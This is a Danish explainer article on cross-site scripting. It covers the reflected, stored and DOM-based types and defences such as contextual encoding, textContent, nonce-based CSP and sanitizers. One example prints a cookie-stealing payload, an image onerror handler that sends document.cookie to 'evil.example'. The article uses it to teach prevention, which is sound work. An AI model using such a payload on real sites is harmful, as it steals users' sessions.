# Cross-site scripting

## Hvad det er

Cross-site scripting, næsten altid forkortet XSS, er det angreb, hvor et
website tager tekst, der kom fra en anden, sætter den ind i en side, det
serverer for andre, og undlader at neutralisere den undervejs, så browseren
læser en del af teksten som kode og kører den. Common Weakness Enumeration
fører det som CWE-79 under en titel, der siger nogenlunde det samme: input, der
ikke bliver neutraliseret, mens en webside genereres. Angriberen ændrer aldrig
sitets kode. Angriberen leverer data, og sitet selv bringer scriptet ud til sine
egne brugere, inde i sine egne sider.

Der er tre veje ind, og både CWE-posten og OWASP beskriver dem. Ved reflekteret
XSS, også kaldet ikke-persistent eller Type 1, rejser payloaden med i requesten,
som regel som en URL-parameter, og serveren kopierer den ind i svaret: en side
med søgeresultater, en fejlmeddelelse, alt, der gentager det, den fik tilsendt.
Offeret skal lokkes til at åbne et særligt udformet link, og derfor placerer
CWE-posten den slags links i kernen af mange phishing-angreb. Ved lagret XSS,
også kaldet persistent eller Type 2, bliver payloaden gemt først, i en
kommentar, et forumindlæg, et profilfelt eller en logbesked, og den kører for
alle, der senere ser den post. Ved DOM-baseret XSS, Type 0, ser serveren måske
slet ikke payloaden. Sidens eget JavaScript læser noget, angriberen styrer, fx
den del af URL'en, der står efter `#`, og skriver det ind i dokumentet på en
måde, der får browseren til at parse det som markup.

Navnet passer dårligt til det moderne problem, og OWASP siger det selv: dens
cheat sheet om forebyggelse kalder betegnelsen misvisende. Den stammer fra
tidlige angreb, der stjal data på tværs af sites, og er siden blevet udvidet til
at dække indsprøjtning af næsten ethvert indhold i en side, uanset om et andet
site er involveret. Selv forkortelsen har en historie. CWE-posten fortæller, at
den oplagte forkortelse på tre bogstaver var almindelig i de første år, indtil
sammenfaldet med Cascading Style Sheets fik den til at gå af brug.

OWASP regner XSS for en form for injection, i samme familie som SQL injection.
I begge tilfælde krydser data en grænse og lander et sted, hvor de bliver læst
som instruktioner: dér den SQL, en database kører, her en sides markup,
attributværdier og JavaScript. Kuren har samme form begge steder. Hold data som
data i det øjeblik, de bliver sat ind, så har fortolkeren intet af angriberens
at køre.

## Hvorfor det betyder noget

Scriptet kører som sitets eget. Browseren fører ikke regnskab med, hvor teksten
kom fra; den ser en side, som sitet har serveret fra sin egen oprindelse, og
giver scriptet alt, hvad den oprindelse har lov til. OWASP formulerer problemet
sådan, at browseren ikke har nogen mulighed for at vide, at scriptet ikke bør
nyde tillid. CWE-posten drager konsekvensen: angrebet sætter hensigten bag
same-origin policy ud af kraft, den regel, der skal forhindre script fra ét site
i at række ind i et andet.

Det, scriptet kan gøre, er det, brugeren kunne. CWE-79 nævner tyveri af private
oplysninger i cookies, fx sessionsdata, som det mest almindelige angreb og
advarer om, at det er særlig farligt, når offeret har administratorrettigheder
på sitet. OWASP's liste er længere: at overtage kontoen, holde øje med, hvad
brugeren gør, hente indhold andre steder fra, stjæle følsomme data og omskrive
selve siden. Lagret XSS i en logbesked er en klassisk vej netop til de ofre.
CWE-posten bruger det som sit eksempel, fordi dem, der læser logbeskeder, ofte
er administratorer, og fordi en logviser ikke nødvendigvis håndterer fjendtligt
input ordentligt.

Det vedrører alle webteams, ikke kun dem, der stadig skriver markup i hånden.
Moderne frameworks har gjort XSS sjældnere: OWASP tilskriver deres skabeloner og
automatiske escaping, at der er færre fejl. Alle frameworks har stadig
nødudgange til de tilfælde, hvor en udvikler vil indsætte markup direkte, og
OWASP peger på netop dem som de steder, hvor problemerne stadig opstår. Samme
cheat sheet slår fast, at ingen enkelt teknik løser XSS, og at der skal en
kombination til. Det er rammen for resten af artiklen: indkod først til den
rigtige kontekst, og læg de andre lag bag ved.

## Sådan ser det ud i praksis

Tag en netbutik, hvis søgeside gentager søgeordet, så
`https://shop.example/search?q=lamp` viser `Results: lamp`. Serveren bygger den
linje ved at klistre parameteren ind i sin sideskabelon. En angriber sender et
offer et link, hvor `q` er dette:

```html
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Serveren klistrer den ind som før, og offerets browser modtager:

```html
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

Billedet kan ikke indlæses, fordi `x` ikke er et billede, og browseren kører
`onerror`-handleren, som sender brugerens cookies til angriberens server. Koden
står i en attribut og ikke i et `<script>`-element, og det er typisk: OWASP's
eget eksempel på en payload bruger et billedes `onerror`-attribut på samme måde.

Løsningen er at indkode værdien til det sted, den lander. I HTML-brødtekst
betyder det, at de fem tegn `&`, `<`, `>`, `"` og `'` bliver til `&amp;`,
`&lt;`, `&gt;`, `&quot;` og `&#x27;`. Den samme payload ankommer så som
`&lt;img src=x onerror=&quot;...&quot;&gt;`, som browseren viser som tekst og
aldrig parser som et tag. Frameworks med automatisk escaping gør det for dig;
hullet opstår dér, hvor en streng i stedet bygges i hånden.

Ved den DOM-baserede variant sender serveren bare en statisk side, og sidens
eget script læser `q` og skriver det ind i overskriften:

```js
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parser q som HTML
heading.textContent = `Results for ${q}`; // viser q som tekst
```

Linjen med `innerHTML` giver angriberens markup til HTML-parseren, og
`onerror`-handleren går i gang ligesom før. HTML-standarden bemærker, at et
`<script>`-element, der indsættes på den måde, slet ikke bliver udført, og
derfor læner payloads sig op ad event-handler-attributter i stedet. Linjen med
`textContent` opretter en tekstnode og parser ingenting, så den samme værdi
vises som harmløse tegn. OWASP's cheat sheet om DOM-baseret XSS kalder valget
af en sikker sink som denne for den bedste løsning, og det generelle cheat sheet
beder udviklere om at refaktorere væk fra `innerHTML` hen imod `textContent`.

Bag indkodningen ligger et andet lag. En Content Security Policy, der angiver en
nonce, beder browseren om kun at køre de scripts, der bærer den. Det aktuelle
W3C-udkast beder serveren om at generere en ny nonce, hver gang den sender en
policy, på mindst 128 bit fra en kryptografisk sikker tilfældighedsgenerator.
Et indsprøjtet `<script>` har ingen nonce, og en inline-handler som `onerror`
ovenfor bliver også afvist, for kun `'unsafe-inline'` eller `'unsafe-hashes'`
kan tillade handlere, og en nonce slår `'unsafe-inline'` fra. Udkastet nævner
`script-src 'strict-dynamic' 'nonce-{RANDOM}'` sammen med `base-uri 'self'` som
en effektiv afhjælpning af XSS, der også er til at rulle ud. I Chromium-baserede
browsere går `require-trusted-types-for 'script'` videre og får sinks som
`innerHTML` til at afvise almindelige strenge. OWASP advarer stadig om, at en
policy er let at sætte forkert op, og regner den for et ekstra lag snarere end
det primære forsvar.

På en platform med professionelle og organisatoriske data sætter Next.js'
middleware
[en sådan policy med en ny nonce for hver request og strict-dynamic](/da/portfolio/hardened-the-application-with-nonce-based-csp/)
sammen med HSTS og SameSite-cookies, så browseren er stramt begrænset i, hvad
den vil køre og sende. Den samme side gør det klart, at det er ét lag af flere,
bygget på den antagelse, at man ikke kan stole på klienten, så den, der kommer
forbi én beskyttelse, ikke dermed er forbi resten.

## Hvor det går galt

**Indkodning til den forkerte kontekst.** HTML-entity-kodning er rigtig til
tekst mellem tags og ikke nok andre steder. OWASP giver hver kontekst sin egen
regel: en værdi inde i en URL-parameter procentkodes i formen `%HH`, og en værdi
inde i en attribut kodes til attributter og sættes i anførselstegn. Indkodning
beskytter desuden kun det sted, en streng sættes ind, ikke hvad der sker med den
bagefter; en værdi, der sendes videre til `eval()`, er usikker, uanset hvad der
er gjort ved den. Vid, hvor hver værdi lander, og brug frameworkets encoder til
det sted.

**Attributter uden anførselstegn.** Mellemrum afslutter en attributværdi uden
anførselstegn, så en angriber, der kan tilføje et mellemrum, kan tilføje sin
egen attribut, og `onmouseover=` er alt, hvad der skal til. Sæt altid
attributværdier i anførselstegn, og brug frameworkets attribut-encoder.

**Brugerdata i en event-handler-attribut.** Attributkodning beskytter ikke
JavaScript i `onclick` og dets slægtninge, fordi HTML-parseren afkoder
tegnreferencer, før scriptet bliver fortolket. Tilknyt handlere med
`addEventListener()`, og giv brugerens værdi med som data.

**Et frameworks nødudgang fodret med rå input.** Reacts
`dangerouslySetInnerHTML`, Angulars `bypassSecurityTrustAs*`-funktioner og Lits
`unsafeHTML` slår alle automatisk escaping fra. Når brugere reelt har brug for
at skrive markup, så kør den gennem en sanitizer som DOMPurify, som OWASP
anbefaler, lad være med at ændre resultatet bagefter, og hold biblioteket
opdateret, fordi der hele tiden bliver fundet nye omgåelser.

**En `javascript:`-URL i et link.** Et websitefelt i en profil, der indeholder
`javascript:` efterfulgt af kode, gør et uskyldigt link til et script. React 19
blokerer sådanne URL'er i `src` og `href`, men OWASP siger, at det ikke erstatter
applikationens egen validering af URL'er. Tillad de skemanavne, feltet faktisk har
brug for, som `https:`, og afvis alt andet.

**Inputvalidering eller en WAF som løsningen.** Validering hjælper, men den kan
ikke fjerne alle farlige tegn fra fri tekst. CWE-postens eksempel er
hjerte-smileyen `<3`, som en chatapplikations validering sandsynligvis ville
lukke igennem, og som stadig indeholder `<`. En web application firewall matcher
kendte angrebsstrenge, overser nye omgåelser og ser aldrig DOM-baseret XSS, der
foregår helt i browseren; OWASP anbefaler ikke en til at forebygge XSS. Indkod
outputtet, og regn begge dele for ekstra lag.

**HttpOnly som en kur.** Når sessionscookien er markeret HttpOnly, kan
`document.cookie` ikke læse den, og det stækker den mest almindelige payload.
Scriptet kører dog stadig og kan handle som brugeren inde fra siden. CWE-posten
kalder HttpOnly ikke en fuldstændig løsning, og OWASP siger, at
cookie-attributter begrænser skaden uden at forhindre udførelsen. Sæt den, og
luk selve hullet.

**JSON serveret som HTML.** Et endepunkt, der returnerer brugerdata med
`Content-Type: text/html`, inviterer browseren til at parse dem som en side.
OWASP's regel er at sikre, at JSON går ud som `application/json`. Sæt headeren
eksplicit på hvert eneste af den slags svar.

**Policyen som det primære forsvar.** En nonce, der genbruges på tværs af svar,
en manglende `base-uri` eller en `'unsafe-inline'`, der blev tilføjet for at få
én widget til at virke, kan hver især stille og roligt sætte en policy ud af
spil. Indkod først, og lad policyen fange det, der slipper igennem.

## Læs mere

- [CWE-79 in the Common Weakness Enumeration](https://cwe.mitre.org/data/definitions/79.html)
  — svaghedsposten: de tre typer, konsekvenserne og afhjælpningerne med deres
  begrænsninger.
- [OWASP Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
  — indkodning for hver kontekst, frameworkenes nødudgange, sanering og lagene
  bag dem.
- [OWASP DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
  — sikre og usikre sinks i browseren, med gennemregnede eksempler.
- [OWASP: Cross Site Scripting (XSS)](https://community.owasp.org/attacks/xss/)
  — angrebet set fra angriberens side, med eksempler på payloads.
- [HTML Standard: Scripting](https://html.spec.whatwg.org/multipage/scripting.html)
  — hvordan og hvornår `script`-elementet kører, også i indsat markup.
- [Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) — nonces,
  `'strict-dynamic'` og den stramme policy, udkastet anbefaler.

<https://engineer.company/da/glossary/cross-site-scripting/>
